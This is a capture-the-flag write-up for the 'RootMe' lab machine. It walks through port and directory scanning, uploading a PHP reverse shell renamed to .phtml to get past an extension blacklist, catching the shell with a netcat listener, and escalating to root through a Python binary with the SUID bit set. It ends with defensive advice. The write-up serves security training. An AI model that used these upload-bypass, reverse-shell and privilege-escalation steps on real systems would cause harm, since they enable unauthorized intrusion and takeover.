← Back to all writeups
CTFroomEasyOS: Linux (Ubuntu)Target IP: 10.10.65.120

CTFroom: RootMe — Web File Upload Bypass (.phtml) & SUID Privilege Escalation

Bypassing client-side and server-side file extension filters to upload a PHP webshell using .phtml extension, capturing a reverse shell, and hunting for misconfigured SUID binaries to elevate directly to root.

Published: 2026-03-14·Est. 7 min read·Author: GomezGani Shaba
File Upload Bypass.phtml ExtensionSUID AbusePython SUIDLinux PrivEsc

Challenge Overview

RootMe is a staple penetration testing challenge that demonstrates how incomplete server-side file extension blacklists and misconfigured file permissions (SUID bits) can lead to complete machine takeover.


Phase 1: Port Scanning & Directory Discovery

bashterminal / script
# Full port scan
nmap -p- --min-rate 4000 -sS -oN nmap_allports.txt 10.10.65.120

# Detailed service enumeration
nmap -p 22,80 -sV -sC -oN nmap_services.txt 10.10.65.120

Discovered services:

  • Port 22: OpenSSH 7.6p1 Ubuntu
  • Port 80: Apache httpd 2.4.29 ((Ubuntu))
  • Running directory brute-forcing with gobuster:

    bashterminal / script
    gobuster dir -u http://10.10.65.120/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,html

    Discovered interesting endpoints:

  • /panel/ — File upload portal
  • /uploads/ — Public directory where uploaded files are stored

  • Phase 2: File Upload Filter Bypassing

    Visiting http://10.10.65.120/panel/, we find a file upload form.

    Attempting to upload a standard PHP reverse shell (shell.php) triggers an error:

    textterminal / script
    "PHP não é permitido!" (PHP is not allowed!)

    The server checks for the .php file extension. However, Apache configurations often map alternative PHP execution extensions. We test common bypasses:

  • .php3
  • .php4
  • .php5
  • .phtml
  • We rename our payload to shell.phtml:

    bashterminal / script
    cp /usr/share/webshells/php/php-reverse-shell.php ./shell.phtml
    # Configure attacker IP (10.8.x.x) and port (9001) in shell.phtml

    Uploading shell.phtml succeeds with a green confirmation message!


    Phase 3: Triggering Reverse Shell

    We start our Netcat listener:

    bashterminal / script
    nc -lvnp 9001

    In the browser, we browse to http://10.10.65.120/uploads/shell.phtml. The script executes, sending a shell back to our listener:

    textterminal / script
    connect to [10.8.x.x] from (UNKNOWN) [10.10.65.120] 43810
    Linux rootme 4.15.0-112-generic #113-Ubuntu SMP x86_64
    $ whoami
    www-data

    We locate the user flag:

    bashterminal / script
    find / -name "user.txt" 2>/dev/null
    # Output: /var/www/user.txt
    cat /var/www/user.txt

    Phase 4: SUID Binary Enumeration & Root Escalation

    We search the entire filesystem for binaries with the SetUID (SUID) permission bit enabled:

    bashterminal / script
    find / -perm -u=s -type f 2>/dev/null

    Among standard system binaries (/bin/ping, /bin/su), we identify an anomalous binary:

    textterminal / script
    /usr/bin/python

    Having the SUID bit on a scripting interpreter like Python allows any user to execute arbitrary commands with the privileges of the file owner (root).

    Checking GTFOBins for python with SUID:

    bashterminal / script
    /usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

    Executing the payload:

    textterminal / script
    $ /usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
    # whoami
    root
    # id
    uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)

    We have root access (euid=0). We read the root flag:

    bashterminal / script
    cat /root/root.txt

    Key Takeaways & Defense

  • Whitelist File Extensions: Never rely on extension blacklists. Validate file contents using MIME-type sniffing and magic byte verification.
  • Disable Script Execution in Upload Dirs: In Apache configurations, set php_flag engine off or RemoveHandler .php .phtml in the upload directory.
  • Audit SUID Binaries: Scripting runtimes like Python, Perl, Ruby, or Bash should never have the SUID bit enabled.